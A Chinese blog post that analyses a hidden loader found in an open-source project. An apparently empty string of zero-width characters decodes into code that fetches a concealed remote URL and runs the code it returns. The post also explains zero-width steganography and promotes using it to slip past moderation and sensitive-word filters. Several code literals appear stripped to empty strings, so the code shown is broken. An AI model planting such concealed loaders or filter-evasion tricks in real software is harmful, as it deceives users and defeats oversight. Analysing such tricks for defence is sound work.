在研究某开源项目时,页面一直在请求一个URL,代码翻了个遍也没找到在哪里请求的,经过不断的断点调试,终于找到的了发送请求的代码,代码如下:
Function("".replace(/.{8}/g, function(u) {
return String.fromCharCode(parseInt(u.replace(/\u200c/g, 1).replace(/\u200d/g, 0), 2));
})();
上面的代码Function中会动态生成如下内容并执行
setTimeout(function(){try{if(typeof dialog_tpl_html=="undefined"||dialog_tpl_html.search("update_box")==-1){var a=authCrypt.decode("5ff1d61Xb200NQts33gKzUvZpX6DpW5kn-iEDxoHUJhV9mQFuRZ4xiWV-RgPGU3ty_FtUeBlYKuxTJI9Yt24FN9h1mTxAz4","_32@!A")+UUID();require.async(a,function(a){try{a.todo("2-1");}catch(a){}});}}catch(a){}},parseInt(Math.random()*70+30)*1000);
简单整理了下过程,还是不太明白
var temp = "".replace(/.{8}/g, function(u) { //此处会执行356次,与生成的代码字符串长度一致
var u1 = u; //此处一直是""
var u2 = u1.replace(/\u200c/g, 1);//此处replace后会产生都为1的字符串,但长度每次不一样
var u3 = u2.replace(/\u200d/g, 0);//此处replace后会产生目标代码字符的二进制值
var u4 = parseInt(u3, 2); //2进制转10进制
var u5 = String.fromCharCode(u4); //将 Unicode编码转为一个字符
return u5;
});
console.log(temp);
自己打断点调试了几遍,发现上面的代码最关键的步骤是第3和第4行代码,每次都是“”的字符串replace后会产生都为1的字符串,但长度每次不一样(这个地方相当幽灵),虽然不太清除具体执行逻辑,但直觉告诉我此处一定与JS的字符编码相关。
一番百度、谷歌后发现都搜索不到相关资料,没有一点头绪,但在搜索过程中我发现了一个端倪,直接粘贴(Function("".replace(/.{8}/g)搜索这段代码,百度和谷歌会把后面的字符串屏蔽掉
同时我在执行断点调试的时候,发现""中有一大堆小红点
直接看代码是只有“”,但是检查工具中却多了一堆小红点,同时鼠标挪上去时出现Tips有如下内容
我想问题一定出在这个地方,解释不了的疑问,一定是自己知识的高度不够,而不是什么幽灵。我想“”字符中一定隐藏了什么我看不见的东西,果然一番查阅后,终于发现了原因。
这个幽灵就是:零宽度字符!!!
零宽度字符:零宽度字符是一些不可见的,不可打印的字符。它们存在于页面中主要用于调整字符的显示格式。
一些常见的零宽度字符及它们的unicode码和原本用途:
零宽度空格符 (zero-width space) U+200B : 用于较长单词的换行分隔
零宽度非断空格符 (zero width no-break space) U+FEFF : 用于阻止特定位置的换行分隔
零宽度连字符 (zero-width joiner) U+200D : 用于阿拉伯文与印度语系等文字中,使不会发生连字的字符间产生连字效果
零宽度断字符 (zero-width non-joiner) U+200C : 用于阿拉伯文,德文,印度语系等文字中,阻止会发生连字的字符间的连字效果
左至右符 (left-to-right mark) U+200E : 用于在混合文字方向的多种语言文本中(例:混合左至右书写的英语与右至左书写的希伯来语),规定排版文字书写方向为左至右
右至左符 (right-to-left mark) U+200F : 用于在混合文字方向的多种语言文本中,规定排版文字书写方向为右至左
上面的例子中,Function("<这里>".repla...
藏了大量的零宽字符,实际看起来就好像是一个空字符串 ""
,这个“空”字符串即是“隐藏代码”经过编码转换后得到的全零宽字符串。每个字符都有一个唯一的编码,将编码以 2 进制表示得到 01.. 的字串,把 1 替换成 \u200c,把 0 替换成 \u200d就得到一个全零宽空白的字符串,每 8 位零宽字符可用于表示 1 个 ascii 字符。
知道了原理,就发现其实它也没什么神奇的地方了,不过还是很感谢原作者,又get到一个知识点。
附:
1. 传递隐密信息
利用零宽度字符不可见的特性,我们可以用零宽度字符在任何未对零宽度字符做过滤的网页内插入不可见的隐形文本。下面是一个简单的利用零宽度字符对文本进行加密与解密的JavaScript例子:
var textToBinary = function(info) {
var zeroPad = function(num) {
return "00000000".slice(String(num).length) + num;
};
return info.split('').map(function(char) {
return zeroPad(char.charCodeAt(0).toString(2));
}).join(' ');
};
var binaryToText = function(string) {
return string.split(' ').map(function(num) {
return String.fromCharCode(parseInt(num, 2));
}).join('');
};
var binaryToZeroWidth = function(binary) {
return binary.split('').map(function(binaryNum) {
var num = parseInt(binaryNum, 10);
if (num === 1) {
return ''; // zero-width space
} else if (num === 0) {
return ''; // zero-width non-joiner
}
return ''; // zero-width joiner
}).join(''); // zero-width no-break space
};
var zeroWidthToBinary = function(string) {
return string.split('').map(function(char) {
// zero-width no-break space
if (char === '') { // zero-width space
return '1';
} else if (char === '') { // zero-width non-joiner
return '0';
}
return ' '; // add single space
}).join('');
};
var result = "这个字符串" + binaryToZeroWidth(textToBinary("csdn.net")) + "包含隐藏信息";
console.log(result);
console.log(binaryToText(zeroWidthToBinary(result)));
注:在使用零宽度字符进行加密时,请尽量避免将加密后的隐形文本插入在明文的开头或者结尾处,以此来避免隐形文本在复制时被遗漏
应用
1、隐形水印
通过零宽度字符我们可以对内部文件添加隐形水印。在浏览者登录页面对内部文件进行浏览时,我们可以在文件的各处插入使用零宽度字符加密的浏览者信息,如果浏览者又恰好使用复制粘贴的方式在公共媒体上匿名分享了这个文件,我们就能通过嵌入在文件中的隐形水印轻松找到分享者了。
2、加密信息分享
通过零宽度字符我们可以在任何网站上分享任何信息。敏感信息的审核与过滤在当今的互联网社区中扮演着至关重要的角色,但是零宽度字符却能如入无人之境一般轻松地穿透这两层信息分享的屏障。对比明文哈希表加密信息的方式,零宽度字符加密在网上的隐蔽性可以说是达到了一个新的高度。仅仅需要一个简单的识别/解密零宽度字符的浏览器插件,任何网站都可以成为信息分享的游乐场。
3. 逃脱词匹配
通过零宽度字符我们可以轻松逃脱敏感词过滤。敏感词自动过滤是维持互联网社区秩序的一项重要工具,只需倒入敏感词库和匹配相应敏感词,即可将大量的非法词汇拒之门外。使用谐音与拼音来逃脱敏感词过滤会让语言传递信息的效率降低,而使用零宽度字符可以在逃脱敏感词过滤的同时将词义原封不动地传达给接受者,大大提高信息传播者与接受者之间交流的效率。
// 利用零宽度字符来分隔敏感词
const censored = '敏感词';
let censor = censored.replace(/敏感词/g, ''); // ''
// 使用零宽度空格符对字符串进行分隔
const uncensored = Array.from(censored).join('?');
censor = uncensored.replace(/敏感词/g, ''); // '敏?感?词'
参考链接
https://ucren.com/blog/archives/549
https://ucren.com/demos/code-hider/index.html
https://juejin.im/post/5b87a6e26fb9a019b953ee8b
https://www.freebuf.com/articles/web/167903.html
https://houbb.github.io/2019/12/25/zero-width-char